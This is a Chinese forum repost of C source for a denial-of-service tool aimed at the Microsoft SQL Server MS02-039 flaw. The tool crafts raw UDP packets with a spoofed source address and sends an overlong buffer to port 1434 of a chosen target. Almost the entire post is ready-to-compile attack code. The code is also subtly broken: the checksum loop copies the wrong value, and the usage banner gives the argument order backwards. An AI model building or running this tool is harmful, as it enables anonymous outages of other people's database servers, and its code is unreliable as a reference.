发新话题
打印

[转载]SQL Overflow dos tool代码

[转载]SQL Overflow dos tool代码

文章作者:refdom

////////////////////////////////////////////////////////////
//                                       
// SQL Overflow dos tool
//
// Reference: MS02-039
//
// Author: refdom
// Email: refdom@263.net
// Homepage: www.opengram.com
//
////////////////////////////////////////////////////////////

#include <string.h>
#include <stdio.h>
#include <process.h>
#include <winsock2.h>
#include <ws2tcpip.h>

#pragma comment(lib,"ws2_32.lib")

#define SOURCE_PORT 53
#define DEST_PORT 1434

typedef struct ip_hdr            //定义IP首部
{
    unsigned char h_verlen;            //4位首部长度,4位IP版本号
    unsigned char tos;                //8位服务类型TOS
    unsigned short total_len;        //16位总长度(字节)
    unsigned short ident;            //16位标识
    unsigned short frag_and_flags;    //3位标志位
    unsigned char ttl;                //8位生存时间 TTL
    unsigned char proto;            //8位协议 (TCP, UDP 或其他)
    unsigned short checksum;        //16位IP首部校验和
    unsigned int sourceIP;            //32位源IP地址
    unsigned int destIP;            //32位目的IP地址
}IP_HEADER;

struct //定义TCP伪首部
{
    unsigned long saddr; //源地址
    unsigned long daddr; //目的地址
    char mbz;
    char ptcl; //协议类型
    unsigned short tcpl; //TCP长度
}psd_header;

typedef struct tcp_hdr //定义TCP首部
{
    USHORT th_sport; //16位源端口
    USHORT th_dport; //16位目的端口
    unsigned int th_seq; //32位序列号
    unsigned int th_ack; //32位确认号
    unsigned char th_lenres; //4位首部长度/6位保留字
    unsigned char th_flag; //6位标志位
    USHORT th_win; //16位窗口大小
    USHORT th_sum; //16位校验和
    USHORT th_urp; //16位紧急数据偏移量
}TCP_HEADER;

typedef struct udp_hdr            //UDP首部
{
   unsigned short sourceport;     
   unsigned short destport;     
   unsigned short udp_length;     
   unsigned short udp_checksum;   
} UDP_HEADER;

//CheckSum:计算校验和的子函数
USHORT checksum(USHORT *buffer, int size)
{
    unsigned long cksum=0;
    while(size >1)
    {
        cksum+=*buffer++;
        size -=sizeof(USHORT);
    }
    if(size )
    {
        cksum += *(UCHAR*)buffer;
    }
    cksum = (cksum >> 16) + (cksum & 0xffff);
    cksum += (cksum >>16);
    return (USHORT)(~cksum);
}

void Usage()
{
    printf("******************************************\n");
    printf("SQLOverFlowDOS(MS02-039)\n");
    printf("\t Written by Refdom\n");
    printf("\t Email: refdom@263.net\n");
    printf("\t Homepage: www.opengram.com\n");
    printf("Useage: SQLDOS.exe Fake_ip Target_ip \n");
    printf("*******************************************\n");
}

void Sendudp (unsigned long ulTargetIP, unsigned long ulFakeIP)
{

    SOCKET sock;
    SOCKADDR_IN addr_in;
    BOOL flag;
    char buf[80] = {0};
    IP_HEADER ipHeader;
    UDP_HEADER udpHeader;
    int iTotalSize, iUdpCheckSumSize, i, j;
    char sendbuf[256] = {0};
    char *ptr = NULL;

    memset(buf, &#39;A&#39;, sizeof(buf) - 2);
    buf[0] = 0x04;

    sock = WSASocket(AF_INET,SOCK_RAW,IPPROTO_UDP,NULL,0,0);
    if (sock == INVALID_SOCKET)
    {
        printf("socket Error!\n");
        return;
    }

    flag = true;
    if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char*)&flag,sizeof(flag))==SOCKET_ERROR)
    {
        printf("setsockopt Error!\n");
        return;
    }

    iTotalSize=sizeof(ipHeader)+sizeof(udpHeader)+sizeof(buf);

    ipHeader.h_verlen = (4 << 4) | (sizeof(ipHeader) / sizeof(unsigned long));
    ipHeader.tos=0;
    ipHeader.total_len=htons(iTotalSize);
    ipHeader.ident=0;
    ipHeader.frag_and_flags=0;
    ipHeader.ttl=128;
    ipHeader.proto=IPPROTO_UDP;
    ipHeader.checksum=0;
    ipHeader.sourceIP = ulFakeIP;
    ipHeader.destIP = ulTargetIP;

    udpHeader.sourceport = htons(SOURCE_PORT);
    udpHeader.destport = htons(DEST_PORT);
    udpHeader.udp_length = htons(sizeof(udpHeader)+sizeof(buf));
    udpHeader.udp_checksum = 0;
   
        ptr = NULL;

        //计算UDP校验和
        ZeroMemory(sendbuf,sizeof(sendbuf));
        ptr=sendbuf;
        iUdpCheckSumSize=0;
        udpHeader.udp_checksum = 0;

        memcpy(ptr,&ipHeader.sourceIP,sizeof(ipHeader.sourceIP));
        ptr +=sizeof(ipHeader.sourceIP);
        iUdpCheckSumSize+=sizeof(ipHeader.sourceIP);

        memcpy(ptr,&ipHeader.destIP,sizeof(ipHeader.destIP));
        ptr +=sizeof(ipHeader.destIP);
        iUdpCheckSumSize +=sizeof(ipHeader.destIP);
        
        ptr++;
        iUdpCheckSumSize++;

        memcpy(ptr,&ipHeader.proto,sizeof(ipHeader.proto));
        ptr +=sizeof(ipHeader.proto);
        iUdpCheckSumSize +=sizeof(ipHeader.proto);

        memcpy(ptr,&udpHeader.udp_length,sizeof(udpHeader.udp_length));
        ptr +=sizeof(udpHeader.udp_length);
        iUdpCheckSumSize +=sizeof(udpHeader.udp_length);

        memcpy(ptr,&udpHeader,sizeof(udpHeader));
        ptr +=sizeof(udpHeader);
        iUdpCheckSumSize += sizeof(udpHeader);
        
        for(i = 0; i < sizeof(buf); i++,ptr++)
            *ptr = buf;
        iUdpCheckSumSize += sizeof(buf);

        udpHeader.udp_checksum = checksum((USHORT*)sendbuf,iUdpCheckSumSize);

        ZeroMemory(sendbuf,sizeof(sendbuf));
        memcpy(sendbuf,&ipHeader,sizeof(ipHeader));
        memcpy(sendbuf+sizeof(ipHeader),&udpHeader,sizeof(udpHeader));
        memcpy(sendbuf+sizeof(ipHeader)+sizeof(udpHeader),buf,sizeof(buf));

        addr_in.sin_family = AF_INET;
        addr_in.sin_port = htons(DEST_PORT);
        addr_in.sin_addr.S_un.S_addr = ulTargetIP ;

        printf("\n Starting send packet\n\t");

        for (j = 0; j < 5; j++)
        {
            Sleep(500);
            if (sendto(sock, sendbuf, iTotalSize, 0, (SOCKADDR *)&addr_in, sizeof(addr_in))==SOCKET_ERROR)
            {
                printf("Send Error!\n");
                return;
            }
            else
            {
                printf(".");
            }
        }

        printf("\n Send OK!\n");

    if (sock != INVALID_SOCKET)
        closesocket(sock);
}

int main(int argc, char* argv[])
{
    WSADATA        WSAData;
    unsigned long ulTargetIP, ulFakeIP;

    Usage();

    if (argc < 3)
    {
        return false;
    }
   
    ulTargetIP = inet_addr(argv[1]);
    ulFakeIP = inet_addr(argv[2]);
   
    if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
    {
        printf("WSAStartup error.Error:%d\n",WSAGetLastError());
        return false;
    }

    printf("DOS starting ...\n");

    Sendudp(ulTargetIP, ulFakeIP);

    printf("\nComplete!\n");


    WSACleanup();

    return 0;
}
qq310926是我唯一用号,除此之外有其他号码号自称邪八冰血封情,则非本人。

TOP

发新话题